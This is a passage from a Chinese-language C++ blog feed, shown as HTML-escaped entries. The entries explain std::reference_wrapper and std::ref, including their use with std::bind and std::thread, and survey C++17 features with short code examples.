    std::enable_if_t&amp;lt;!std::is_same_v&amp;lt;reference_wrapper, std::remove_cvref_t&amp;lt;U&amp;gt;&amp;gt;&amp;gt;()
  )&amp;gt;
  constexpr reference_wrapper(U&amp;amp;&amp;amp; u) noexcept(noexcept(detail::FUN&amp;lt;T&amp;gt;(std::forward&amp;lt;U&amp;gt;(u))))
    : _ptr(std::addressof(detail::FUN&amp;lt;T&amp;gt;(std::forward&amp;lt;U&amp;gt;(u)))) {}
  reference_wrapper(const reference_wrapper&amp;amp;) noexcept = default;
 
  &amp;#x2F;&amp;#x2F; assignment
  reference_wrapper&amp;amp; operator=(const reference_wrapper&amp;amp; x) noexcept = default;
 
  &amp;#x2F;&amp;#x2F; access
  constexpr operator T&amp;amp; () const noexcept { return *_ptr; }
  constexpr T&amp;amp; get() const noexcept { return *_ptr; }
 
  template&amp;lt; class... ArgTypes &amp;gt;
  constexpr std::invoke_result_t&amp;lt;T&amp;amp;, ArgTypes...&amp;gt;
    operator() ( ArgTypes&amp;amp;&amp;amp;... args ) const {
    return std::invoke(get(), std::forward&amp;lt;ArgTypes&amp;gt;(args)...);
  }
 
private:
  T* _ptr;
};
 
&amp;#x2F;&amp;#x2F; deduction guides
template&amp;lt;class T&amp;gt;
reference_wrapper(T&amp;amp;) -&amp;gt; reference_wrapper&amp;lt;T&amp;gt;;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;可能以下三种情况需要用到：
vector里不能直接存储引用，又不想做拷贝
丢入lamba或者模板函数的参数是引用，
如果设计意图就是执行完毕后对象会被修改&lt;&#x2F;p&gt;
&lt;p&gt;也可以使用如下代码定义reference_wrapper对象：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;reference_wrapper r=x;&amp;#x2F;&amp;#x2F; or auto r = ref(x);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过r对象的get函数(r.get())，可以获取到包装的元素。&lt;&#x2F;p&gt;
&lt;p&gt;reference_wrapper和move语义是紧密相连的，其可以节省右值对象的复制构造开销。&lt;&#x2F;p&gt;
&lt;p&gt;std::reference_wrapper使用实例&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#include &amp;lt;algorithm&amp;gt;
#include &amp;lt;list&amp;gt;
#include &amp;lt;vector&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;numeric&amp;gt;
#include &amp;lt;random&amp;gt;
#include &amp;lt;functional&amp;gt;
 
int main()
{
    std::list&amp;lt;int&amp;gt; l(10);
 
    std::iota(l.begin(), l.end(), -4);
    std::vector&amp;lt;std::reference_wrapper&amp;lt;int&amp;gt;&amp;gt; v(l.begin(), l.end());
 
    &amp;#x2F;&amp;#x2F; can&amp;#x27;t use shuffle on a list (requires random access), but can use it on a vector
    std::shuffle(v.begin(), v.end(), std::mt19937{std::random_device{}()});
 
    std::cout &amp;lt;&amp;lt; &amp;quot;Contents of the list: &amp;quot;;
    for (int n : l){ 
        std::cout &amp;lt;&amp;lt; n &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;;
    }
 
    std::cout &amp;lt;&amp;lt; &amp;quot;\nContents of the list, as seen through a shuffled vector: &amp;quot;;
    for (int i : v){
        std::cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;;
    }
 
    std::cout &amp;lt;&amp;lt; &amp;quot;\n\nDoubling the values in the initial list...\n\n&amp;quot;;
    for (int&amp;amp; i : l) {
        i *= 2;
    }
 
    std::cout &amp;lt;&amp;lt; &amp;quot;Contents of the list, as seen through a shuffled vector: &amp;quot;;
    for (int i : v){
       std::cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; &amp;#x27; &amp;#x27;;
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Possible output:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Contents of the list: -4 -3 -2 -1 0 1 2 3 4 5
Contents of the list, as seen through a shuffled vector: 3 -3 -2 2 0 4 5 -4 -1 1&lt;&#x2F;p&gt;
&lt;p&gt;Doubling the values in the initial list...&lt;&#x2F;p&gt;
&lt;p&gt;Contents of the list, as seen through a shuffled vector: 6 -6 -4 4 0 8 10 -8 -2 2
引用数组的创建&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;huan-ke-yi-yong-lai-chuang-jian-yin-yong-shu-zu-li-ru&quot;&gt;还可以用来创建引用数组，例如：&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;int x=5,y=7,z=8;
std::reference_wrapper&amp;lt;int&amp;gt; arr[]{x,y,z};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;std::reference_wrapper在泛型代码中用处广泛，它存储的是对象的指针，有引用的全部功能，还实现了引用的拷贝（包括拷贝构造和拷贝赋值），可以在程序中存储引用而不是整个对象。
reference_wrapper和shared_ptr如何选择？两者都可以实现指针层面的复制和操作，但是前者不允许默认构造函数，在容器中也不能使用resize等方法。另外可能还有一些不同之处，但是基本上没有太大区别了。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;std-ref&quot;&gt;std::ref&lt;&#x2F;h1&gt;
&lt;p&gt;std::ref()是个模板函数，其函数原型为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F;reference (1)	
template &amp;lt;class T&amp;gt; reference_wrapper&amp;lt;T&amp;gt; ref (T&amp;amp; elem) noexcept;
 
&amp;#x2F;&amp;#x2F;copy (2)	
template &amp;lt;class T&amp;gt; reference_wrapper&amp;lt;T&amp;gt; ref (reference_wrapper&amp;lt;T&amp;gt;&amp;amp; x) noexcept;
 
&amp;#x2F;&amp;#x2F;move (3) 明确禁止prvalue和x值值类别类型的对象从与所述功能被使用，并且const T&amp;amp;&amp;amp;不结合到所有prvalue和x值的对象。
template &amp;lt;class T&amp;gt; void ref (const T&amp;amp;&amp;amp;) = delete;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;std::ref()用来构建一个reference_wrapper&lt;&#x2F;p&gt;
&lt;p&gt;构建一个reference_wrapper类型对象，该对象拥有传入的elem变量的引用。如果参数本身是一个reference_wrapper类型x，则创建一个x的副本。&lt;&#x2F;p&gt;
&lt;p&gt;一个拥有一个T类型元素的reference_wrapper对象
示例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; ref example
#include &amp;lt;iostream&amp;gt;     &amp;#x2F;&amp;#x2F; std::cout
#include &amp;lt;functional&amp;gt;   &amp;#x2F;&amp;#x2F; std::ref
 
int main () {
  int foo (10);
  auto bar = std::ref(foo);
  ++bar;
  std::cout &amp;lt;&amp;lt; foo &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
  return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;c-11-wei-shen-me-yin-ru-std-ref-std-ref-he-yin-yong-de-qu-bie&quot;&gt;c++11 为什么引入std::ref()，std::ref()和引用的区别&lt;&#x2F;h1&gt;
&lt;p&gt;std::ref主要是考虑函数式编程（如std::bind）在使用时，是对参数直接拷贝，无法传入引用，故引入std::ref()。使用std::ref可以在模板传参的时候传入引用。
ref能用包装类型reference_wrapper来代替原本会被识别的值类型，而reference_wrapper能隐式转换为被引用的值的引用类型。
不仅仅是在使用bind时，在使用thread进行编程时，也会发生这样的问题，thread的方法传递引用的时候，必须外层用ref来进行引用传递，否则就是浅拷贝。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;std-bind-han-shu-xu-yao-chuan-ru-yin-yong&quot;&gt;std::bind()函数需要传入引用&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;functional&amp;gt;
#include &amp;lt;iostream&amp;gt;
 
&amp;#x2F;&amp;#x2F;std::ref主要是考虑函数式编程（如std::bind）在使用时，是对参数直接拷贝，而不是引用
void f(int &amp;amp;a,int &amp;amp;b,int &amp;amp;c)
{
    std::cout&amp;lt;&amp;lt;&amp;quot;in function a = &amp;quot;&amp;lt;&amp;lt;a&amp;lt;&amp;lt;&amp;quot;  b = &amp;quot;&amp;lt;&amp;lt;b&amp;lt;&amp;lt;&amp;quot;  c = &amp;quot;&amp;lt;&amp;lt;c&amp;lt;&amp;lt;std::endl;
    a += 1;
    b += 10;
    c += 100;
}
 
int main(){
 
    int n1 = 1 ,n2 = 10,n3 = 100;
    function&amp;lt;void()&amp;gt; f1 = bind(f,n1,n2,ref(n3));
 
    f1();
    std::cout&amp;lt;&amp;lt;&amp;quot;out function a = &amp;quot;&amp;lt;&amp;lt;n1&amp;lt;&amp;lt;&amp;quot;  b = &amp;quot;&amp;lt;&amp;lt;n2&amp;lt;&amp;lt;&amp;quot;  c = &amp;quot;&amp;lt;&amp;lt;n3&amp;lt;&amp;lt;std::endl;
    f1();
    std::cout&amp;lt;&amp;lt;&amp;quot;out function a = &amp;quot;&amp;lt;&amp;lt;n1&amp;lt;&amp;lt;&amp;quot;  b = &amp;quot;&amp;lt;&amp;lt;n2&amp;lt;&amp;lt;&amp;quot;  c = &amp;quot;&amp;lt;&amp;lt;n3&amp;lt;&amp;lt;std::endl;
 
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在这里我们可以发现，在用bind的时候，如果不用ref时，调用函数是没有引用的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;std-thread-xu-yao-chuan-ru-yin-yong&quot;&gt;std::thread()需要传入引用&lt;&#x2F;h2&gt;
&lt;p&gt;查看thread的源代码，其构造函数依赖于一个rvalue-reference类型的variaic templates参数列表：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template::type, thread&amp;gt;::value&amp;gt;::type&amp;gt;explicit
thread(_Fn&amp;amp;&amp;amp; _Fx, _Args&amp;amp;&amp;amp;... _Ax){
    &amp;#x2F;&amp;#x2F; construct with _Fx(_Ax...)
    _Launch(&amp;amp;_Thr,
        _STD make_unique, decay_t&amp;lt;_Args&amp;gt;...&amp;gt; &amp;gt;(
            _STD forward&amp;lt;_Fn&amp;gt;(_Fx), _STD forward&amp;lt;_Args&amp;gt;(_Ax)...));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;线程函数的参数按值移动或复制。如果引用参数需要传递给线程函数，它必须被包装（例如使用std :: ref或std :: cref）。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;functional&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;thread&amp;gt;
 
void method(int &amp;amp; a){ a += 5;}
 
using namespace std;
int main(){
 
    int a = 0;
    &amp;#x2F;&amp;#x2F; each reference used by the threads would refer to the same object.
    thread th(method,ref(a));
    th.join();
    cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt;endl;
 
    &amp;#x2F;*thread th2(method, a);  &amp;#x2F;&amp;#x2F;浅拷贝
    th2.join();
    cout &amp;lt;&amp;lt; a &amp;lt;&amp;lt;endl;*&amp;#x2F;
    return 0;
}
在std::promise范例中，使用了std::ref将future对象传递给引用参数类型的任务函数。

    std::promise示例  

std::promis&amp;lt;int&amp;gt; pr;
std::thread t([](std::promise&amp;lt;int&amp;gt;&amp;amp; p) {p.set_value_at_thread_exit(9);},std::ref(pr));
std::future&amp;lt;int&amp;gt; f = pr.get_future();
auto r = f.get();
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果直接传入pr，将会出现编译错误：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;error C2661: “std::tuple,std::promise&amp;gt;::tuple”: 没有重载函数接受 2 个参数
说明函数调用的参数类型不匹配。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;std-ref-he-yin-yong-de-qu-bie&quot;&gt;std::ref()和引用的区别&lt;&#x2F;h2&gt;
&lt;p&gt;std::ref只是尝试模拟引用传递，并不能真正变成引用，在非模板情况下，std::ref根本没法实现引用传递，只有模板自动推导类型时，ref能用包装类型reference_wrapper来代替原本会被识别的值类型，而reference_wrapper能隐式转换为被引用的值的引用类型。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>cxx new feature</title>
        <published>2022-06-16T16:05:58+08:00</published>
        <updated>2022-06-16T16:05:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/06/cxx-new-feature/"/>
        <id>https://vercel.juzhong.asia/2022/06/cxx-new-feature/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/06/cxx-new-feature/">&lt;h1 id=&quot;cxx-new-feature&quot;&gt;cxx new feature&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;c-new-feature&quot;&gt;c++ new feature&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;changkun.de&#x2F;modern-cpp&#x2F;zh-cn&#x2F;02-usability&#x2F;#if-switch-%E5%8F%98%E9%87%8F%E5%A3%B0%E6%98%8E%E5%BC%BA%E5%8C%96&lt;&#x2F;p&gt;
&lt;p&gt;auto
decltype
lambda
thread
async
future
promise
delete
final
default
override
using
static inline Val;
for(:)
constexpr
constinit
consteval
unique_ptr
shared_ptr
weak_ptr
static_cast
const_cast
dynamic_cast
reinterpret_cast
std::bind
std::placehold
std::function
nullptr_t
nullptr
if&#x2F;switch变量声明强化
std::array
std::forward_list
std::regex
std::unique_lock
std::scoped_lock
std::lock_guard
R&quot;literal&quot;
std::decay_t
std::is_same_v
mutable&lt;&#x2F;p&gt;
&lt;p&gt;tuple
tie
auto [x,y,z] = tie(xx, yy,zz);
variant
any
optional
std::any适用于之前使用void*作为通用类型的场景
std::optional适用于之前使用nullptr代表失败状态的场景
std::variant适用于之前使用union的场景
std::move
std::ref
std::forward
template&lt;typename Arg...&gt;
if constexpr
enum class
std::string_view
std::file_system
thread_local
std::apply
map支持merge和extract
try_emplace
std::shared_mutex
if初始化语句
from_chars函数和to_chars
CTAD(Class Template Argument Deduction) https:&#x2F;&#x2F;ggulgulia.medium.com&#x2F;c-17-class-templates-ctad-and-type-deduction-934d9cf5f529
std::shared_lock
std::shared_mutex
std::map::try_emplace
std::map:emplace(std::piecewise_construct, std::forward_as_tuple(&quot;c&quot;), std::forward_as_tuple(10,&#x27;c&#x27;))
std::map::insert_or_assign
std::type_index&lt;&#x2F;p&gt;
&lt;p&gt;concept
constrain
module
range
span
coroutine&lt;&#x2F;p&gt;
&lt;h1 id=&quot;c-17&quot;&gt;c++17&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zhe-die-biao-da-shi&quot;&gt;折叠表达式&lt;&#x2F;h2&gt;
&lt;p&gt;C++17中引入了折叠表达式，主要是方便模板编程，分为左右折叠，下图为其解包形式：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename... Args&amp;gt; auto sub_right(Args... args) {
  return (args - ...);
}

template &amp;lt;typename... Args&amp;gt; auto sub_left(Args... args) { return (... - args); }

template &amp;lt;typename... Args&amp;gt; auto sum_right(Args... args) {
  return (args + ...);
}

int main() {
  std::cout &amp;lt;&amp;lt; sub_right(8, 4, 2) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; (8 - (4 - 2)) = 6
  std::cout &amp;lt;&amp;lt; sub_left(8, 4, 2) &amp;lt;&amp;lt; std::endl;  &amp;#x2F;&amp;#x2F; ((8 - 4) - 2) = 2

  std::cout &amp;lt;&amp;lt; sum_right(std::string{&amp;quot;hello &amp;quot;}, std::string{&amp;quot;world&amp;quot;})
            &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; hello world

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;lei-mo-ban-can-shu-tui-dao&quot;&gt;类模板参数推导&lt;&#x2F;h2&gt;
&lt;p&gt;类模板实例化时，可以不必显式指定类型，前提是保证类型可以推导：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;typename T&amp;gt; struct A { A(T, T); };

int main() {
  std::pair p(2, 4.5);     &amp;#x2F;&amp;#x2F; std::pair&amp;lt;int, double&amp;gt; p
  std::tuple t(4, 3, 2.5); &amp;#x2F;&amp;#x2F; std::tuple&amp;lt;int, int, double&amp;gt; t
  std::less l;             &amp;#x2F;&amp;#x2F; std::less&amp;lt;void&amp;gt; l
  auto y = new A{1, 2};    &amp;#x2F;&amp;#x2F; A&amp;lt;int&amp;gt;::A(int, int)

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;autozhan-wei-de-fei-lei-xing-mo-ban-xing-can&quot;&gt;auto占位的非类型模板形参&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;auto T&amp;gt; void foo() { std::cout &amp;lt;&amp;lt; T &amp;lt;&amp;lt; std::endl; }

int main() {
  foo&amp;lt;100&amp;gt;();
  &amp;#x2F;&amp;#x2F; foo&amp;lt;int&amp;gt;();

  return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bian-yi-qi-constexpr-ifyu-ju&quot;&gt;编译期constexpr if语句&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;template &amp;lt;bool ok&amp;gt; constexpr void foo() {
  &amp;#x2F;&amp;#x2F;在编译期进行判断，if和else语句不生成代码
  if constexpr (ok == true) {
    &amp;#x2F;&amp;#x2F;当ok为true时，下面的else块不生成汇编代码
    std::cout &amp;lt;&amp;lt; &amp;quot;ok&amp;quot; &amp;lt;&amp;lt; std::endl;
  } else {
    &amp;#x2F;&amp;#x2F;当ok为false时，上面的if块不生成汇编代码
    std::cout &amp;lt;&amp;lt; &amp;quot;not ok&amp;quot; &amp;lt;&amp;lt; std::endl;
  }
}

int main() {
  foo&amp;lt;true&amp;gt;(); &amp;#x2F;&amp;#x2F;输出ok，并且汇编代码中只有 std::cout &amp;lt;&amp;lt; &amp;quot;ok&amp;quot; &amp;lt;&amp;lt; std::endl;
  foo&amp;lt;false&amp;gt;(); &amp;#x2F;&amp;#x2F;输出not ok，并且汇编代码中只有 std::cout &amp;lt;&amp;lt; &amp;quot;not ok&amp;quot; &amp;lt;&amp;lt; std::endl;
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;constexprde-lambdabiao-da-shi&quot;&gt;constexpr的lambda表达式&lt;&#x2F;h2&gt;
&lt;p&gt;lambda表达式可以在编译期进行运算，且函数体不能包含汇编语句、goto语句、label、try块、静态变量、线程局部存储、没有初始化的普通变量，不能动态分配内存，不能有new delete等，不能为虚函数。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  constexpr auto foo = [](int a, int b) { return a + b; };
  static_assert(5 == foo(2, 3), &amp;quot;not compile-time&amp;quot;);
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;inlinebian-liang&quot;&gt;inline变量&lt;&#x2F;h2&gt;
&lt;p&gt;扩展的inline用法，使得可以在头文件或者类内初始化静态成员变量：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; test.h
inline int value  = 1;
&amp;#x2F;&amp;#x2F; test.cpp
struct A {
  inline static int val = 1;
};
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jie-gou-hua-bang-ding&quot;&gt;结构化绑定&lt;&#x2F;h2&gt;
&lt;p&gt;在C++11中，如果需要获取tuple中元素，需要使用get&amp;lt;&amp;gt;()函数或者tie&amp;lt;&amp;gt;函数，这个函数可以把tuple中的元素值转换为可以绑定到tie&amp;lt;&amp;gt;()左值的集合（也就是说需要已分配好的内存去接收）。用起来不甚方便：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;auto student = std::make_tuple(std::string{&amp;quot;YongDu&amp;quot;}, 26, std::string{&amp;quot;man&amp;quot;});
std::string name;
size_t age;
std::string gender;
std::tie(name, age, gender) = student;
std::cout &amp;lt;&amp;lt; name &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; age &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; gender &amp;lt;&amp;lt; std::endl;
&amp;#x2F;&amp;#x2F; YongDu, 26, man

C++17中的结构化绑定，大大方便了类似操作，而且使用引用捕获时，还可以修改捕获对象里面的值，代码也会简洁很多：
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;struct Student {
std::string name;
size_t age;
};&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
Student getStudent() { return {&amp;quot;dycc&amp;quot;, 26}; }

int main() {
  auto student = std::make_tuple(std::string{&amp;quot;YongDu&amp;quot;}, 26, std::string{&amp;quot;man&amp;quot;});
  auto [name, age, gender] = student;
  std::cout &amp;lt;&amp;lt; name &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; age &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; gender &amp;lt;&amp;lt; std::endl;
  &amp;#x2F;&amp;#x2F; YongDu, 26, man

  std::unordered_map&amp;lt;std::string, size_t&amp;gt; students;
  students.emplace(std::make_pair(&amp;quot;DuYong&amp;quot;, 26));
  students.emplace(std::make_pair(&amp;quot;YongDu&amp;quot;, 26));

  for (auto &amp;amp;[name, age] : students) {
    std::cout &amp;lt;&amp;lt; name &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; age &amp;lt;&amp;lt; std::endl;
  }

  auto [_name, _age] = getStudent();
  std::cout &amp;lt;&amp;lt; _name &amp;lt;&amp;lt; &amp;quot;, &amp;quot; &amp;lt;&amp;lt; _age &amp;lt;&amp;lt; std::endl;

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;if-switchchu-shi-hua&quot;&gt;if，switch初始化&lt;&#x2F;h2&gt;
&lt;p&gt;以前看到这个特性时，觉得很鸡肋，没啥作用，最近在使用迭代器操作时，便想到了这个特性：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; C++11
std::unordered_map&amp;lt;std::string, int&amp;gt; students{{&amp;quot;liBai&amp;quot;, 18}, {&amp;quot;hanXin&amp;quot;, 19}};
auto iter = students.find(&amp;quot;hanXin&amp;quot;);
if (iter != students.end()) {
  std::cout &amp;lt;&amp;lt; iter-&amp;gt;second &amp;lt;&amp;lt; std::endl;
}
&amp;#x2F;&amp;#x2F; C++17
if (auto iter = students.find(&amp;quot;hanXin&amp;quot;); iter != students.end()) {
  std::cout &amp;lt;&amp;lt; iter-&amp;gt;second &amp;lt;&amp;lt; std::endl;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可读性一般，但代码更紧凑一点。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;u8-char&quot;&gt;u8-char&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;jian-hua-de-qian-tao-ming-ming-kong-jian&quot;&gt;简化的嵌套命名空间&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;&amp;#x2F; C++17之前
namespace A {
namespace B {
namespace C {
void foo() {}
} &amp;#x2F;&amp;#x2F; namespace C
} &amp;#x2F;&amp;#x2F; namespace B
} &amp;#x2F;&amp;#x2F; namespace A

&amp;#x2F;&amp;#x2F; C++17
namespace A::B::C {
void foo() {}
} &amp;#x2F;&amp;#x2F; namespace A::B::C
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;usingsheng-ming-yu-ju-ke-yi-sheng-ming-duo-ge-ming-cheng&quot;&gt;using声明语句可以声明多个名称&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;using std::cout, std::cin;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xin-de-qiu-zhi-shun-xu-gui-ze&quot;&gt;新的求值顺序规则&lt;&#x2F;h2&gt;
&lt;p&gt;如下代码片段：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  std::unordered_map&amp;lt;int, int&amp;gt; hashMap;
  hashMap[0] = hashMap.size(); &amp;#x2F;&amp;#x2F; 此处不确定插入{0, 0}，还是{0, 1}

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了解决类似问题，C++17优化了求值顺序：&lt;&#x2F;p&gt;
&lt;p&gt;后缀表达式从左到右求值，包括函数调用和成员选择表达式；
赋值表达式从右向左求值，包括复合赋值；
从左到右计算移位操作符的操作数。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qiang-zhi-de-fu-zhi-xiao-chu&quot;&gt;强制的复制消除&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;lambdabiao-da-shi-bu-huo-this&quot;&gt;lambda表达式捕获 *this&lt;&#x2F;h2&gt;
&lt;p&gt;一般情况下，lambda表达式访问类成员变量时需要捕获this指针，这个this指针指向原对象，即相当于一个引用，在多线程情况下，有可能lambda的生命周期超过了对象的生命周期，此时，对成员变量的访问是未定义的。因此C++17中增加捕获*this，此时捕获的是对象的副本，也可以理解为只能对原对象进行读操作，没有写权限。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct A {
  int m_val;
  void foo() {
    auto lamfoo = [*this]() { cout &amp;lt;&amp;lt; m_val &amp;lt;&amp;lt; endl; };
    lamfoo();
  }
};

int main() {
  A a;
  a.m_val = 1;
  a.foo();

  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;jian-hua-zhong-fu-ming-ming-kong-jian-de-shu-xing-lie-biao&quot;&gt;简化重复命名空间的属性列表&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;[[gnu::always_inline]] [[gnu::hot]] [[gnu::const]] [[nodiscard]]
inline int f(); &amp;#x2F;&amp;#x2F; declare f with four attributes
 
[[gnu::always_inline, gnu::const, gnu::hot, nodiscard]]
int f(); &amp;#x2F;&amp;#x2F; same as above, but uses a single attr specifier that contains four attributes
 
&amp;#x2F;&amp;#x2F; C++17:
[[using gnu : const, always_inline, hot]] [[nodiscard]]
int f[[gnu::always_inline]](); &amp;#x2F;&amp;#x2F; an attribute may appear in multiple specifiers
 
int f() { return 0; }
 
int main(){}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;has-include&quot;&gt;__has_include&lt;&#x2F;h2&gt;
&lt;p&gt;跨平台项目需要考虑不同平台编译器的实现，使用__has_include可以判断当前环境下是否存在某个头文件：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
#if __has_include(&amp;quot;iostream&amp;quot;)
  cout &amp;lt;&amp;lt; &amp;quot;iostream exist.&amp;quot; &amp;lt;&amp;lt; endl;
#endif

#if __has_include(&amp;lt;cmath&amp;gt;)
  cout &amp;lt;&amp;lt; &amp;quot;&amp;lt;cmath&amp;gt; exist.&amp;quot; &amp;lt;&amp;lt; endl;
#endif
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;xin-zeng-shu-xing&quot;&gt;新增属性&lt;&#x2F;h2&gt;
&lt;p&gt;[[fallthrough]]
switch语句中跳到下一条语句，不需要break，让编译器忽略告警：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;int main() {
  int i = 1;
  int result;
  switch (i) {
  case 0:
    result = 1; &amp;#x2F;&amp;#x2F; warning
  case 1:
    result = 2;
    [[fallthrough]]; &amp;#x2F;&amp;#x2F; no warning
  default:
    result = 0;
    break;
  }
  return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;[[nodiscard]]
所修饰的内容不可被忽略，主要用于修饰函数返回值：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;[[nodiscard]] auto foo(int a, int b) { return a + b; }

int main() {
  foo(2, 3); &amp;#x2F;&amp;#x2F; 放弃具有 &amp;quot;nodiscard&amp;quot; 属性的函数的返回值

  return 0;
}

[[maybe_unused]]
void foo1() {}
[[maybe_unused]] void func2() {} &amp;#x2F;&amp;#x2F; no warning

int main() {
  int x = 1;
  [[maybe_unused]] int y = 2; &amp;#x2F;&amp;#x2F; no warning
  return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ku-xiang-guan&quot;&gt;库相关&lt;&#x2F;h2&gt;
&lt;p&gt;库相关特性较多，更多库功能可以参靠：C++17&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-fu-chuan-zhuan-huan-han-shu&quot;&gt;字符串转换函数&lt;&#x2F;h2&gt;
&lt;p&gt;更方便地处理字符串和数字之间的转换：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;charconv&amp;gt;
#include &amp;lt;iostream&amp;gt;
using std::cout, std::endl;

int main() {
  std::string str{&amp;quot;123456789&amp;quot;};
  int val = 0;
  auto res = std::from_chars(str.data(), str.data() + 4, val);
  if (res.ec == std::errc()) {
